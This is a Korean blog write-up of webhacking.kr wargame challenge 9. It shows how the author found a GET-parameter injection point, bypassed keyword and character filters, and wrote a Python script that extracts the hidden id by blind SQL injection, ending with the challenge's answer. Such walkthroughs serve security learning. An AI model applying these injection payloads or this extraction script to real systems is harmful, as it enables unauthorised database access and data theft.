ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 9번 풀이
    Wargame/webhacking.kr (old) 2019. 3. 2. 19:35

    Password를 알아내는 문제이다.

    소스 코드를 볼려고 하였으나 소스코드가 존재하지 않는다...;;

    1, 2, 3을 순서대로 눌러보았다.

     

    1을 누르면, get 방식으로 no=1가 전송되고 'Apple'이 페이지에 출력된다.

     

    2를 누르면, 역시 get 방식으로 no=2가 전송되고 'Banana'가 페이지에 출력된다.

     

    3을 누르면, 역시 no=3이 전송되지만 C로 시작하는 단어가 출력되지 않고

    Secret이 출력되고, hint, column이 주어진다.

     

    column이 id와 no만 있는 것을 보면,

    Apple과 Banana는 id 값이고 Secret의 id 값을 알아내는 건가?!

     

    일단 숨겨진 아이디가 있을 수도 있으니, no의 값을 1, 2, 3이외의 값으로 넣어보았다.

     

    no=0일 때는 첫 페이지가 뜨고, 4보다 큰 수는 Password form만 존재하는 페이지가 출력된다.

    no의 값은 1, 2, 3의 값만 존재하는 것으로 추측하면, no=4 이상에는 Password form만 출력되는 것을 보아

    'Select id from challenge9_tb where no=$_GET[no]' 가 페이지에 출력된다고 추측할 수 있다.

    그럼 확실히 Apple과 Banana는 id의 값이 맞는 것 같다..!

     

    쿼리문의 결과 값이 페이지에 출력되는 것을 보고 값을 찾는 Blind SQL Injection 문제인 것 같다.

    우선 Injection Vector를 찾기 위해 no에 '(싱글 쿼터)를 입력해보았다.

     

    'Access Denied'가 출력된다.

    필터링되어 있다는 것은 Injection Vector는 no가 맞다고 생각해도 된다.

     

    어떤 문자가 필터링 되어 있는지 알아보자!

    필터링된 문자열 : >, <, =, %, ||, &&(%26%26), or, and, ascii, char, ord, mid, left, hex

     

    id 값을 찾는 것이 맞는지 알아보기 위해 hint에서 주어진대로 길이가 11이 맞는지 확인해 보았다.

    =의 우회로 like를, 공백에서 %의 우회를 위해 ()를 대신 사용하였다.

    또한, no의 값이 따라 페이지의 출력 값이 달라지는 것을 이용하기 위해 if문을 사용하였다.

    11이 맞으면 no=1이 되어 Apple이 출력되어야 한다.

     

    결과가 거짓인지 Banana가 출력되었다...ㅠ

    모든 추측이 잘못.. 된.. 걸까?!

    일단.. 혹시나..

    id가 여러 개라서 Secret의 id 값의 길이로 비교가 되지 않았을 수도 있기 때문에 no의 값을 바꾸어 보았다.

    모든 경우의 수를 차례대로 다 해보자. no=0~3

     

    참일 때 no의 값을 3으로 주고, 거짓일 때 0으로 주었더니 Secret(참)이 출력된다.

    참의 값을 3으로 두고, 거짓일 때의 값을 1, 2로 설정해보니 거짓일 때의 값으로 출력되었다.....?!

    no가 1, 2일 때 id 값이 존재하기 때문에 이러한 결과가 나오는 것 아닐까 하는 생각을 해본다. (아닐 수도 있다.)

     

    일단 Apple과 Banana로 제대로 값이 나오는지 테스트해보았다.

     

    일단 Apple의 길이를 5로 비교하니 참으로 인식된다!!

     

    Banana도 마찬가지로 참으로 인식된다!!

     

    이제 참과 거짓을 제대로 구분할 수 있는 환경이 마련되었다.

    Blind SQL Injection을 수행하여 no=3일 때 id값을 찾아보았다.

    (단, =을 우회하기 위해 like를 사용하였기 때문에 와일드카드인 %와 _는 검사하지 않는다.)

     

    ?no=if(substr(id, 1, 1)like(0x61), 3, 0)

    참이면 'Secret'이 출력된다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=6bdeac3fa50bd472d2333ff7803c4aee;'}
    url = "http://webhacking.kr/challenge/web/web-09/"
    
    #Find password
    pw = ''
    for i in range(1,12):
    	for j in range(33,123):
    		if (65 <= j <= 90) or j == 37 or j == 95: continue
    		data = "?no=if(substr(id,"+str(i)+",1)like(0x"+chr(j).encode("hex")+"),3,4)"
    		
    		r = requests.get(url+data,headers=headers)
    		if r.text.find('Secret') != -1 :
    			
    			pw += chr(j)
    			
    			print "found : ",pw
    			break
    print "------------------------------------------------"	
    print "PASSWORD(id) : ", pw
    print "------------------------------------------------"

    no=3일 때의 id 값을 찾았다.

     

    [ 실행 결과 ]

     

    id : alsrkswhaql

     

    알아낸 id값을 Password에 입력해주면 문제가 풀린다.

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 11번 풀이  (0) 2019.04.16
    [Webhacking.kr] 10번 풀이  (0) 2019.03.03
    [Webhacking.kr] 8번 풀이  (0) 2019.03.02
    [Webhacking.kr] 6번 풀이  (0) 2019.03.02
    [Webhacking.kr] 5번 풀이  (0) 2019.03.02

    댓글

@Jo Grini's Blog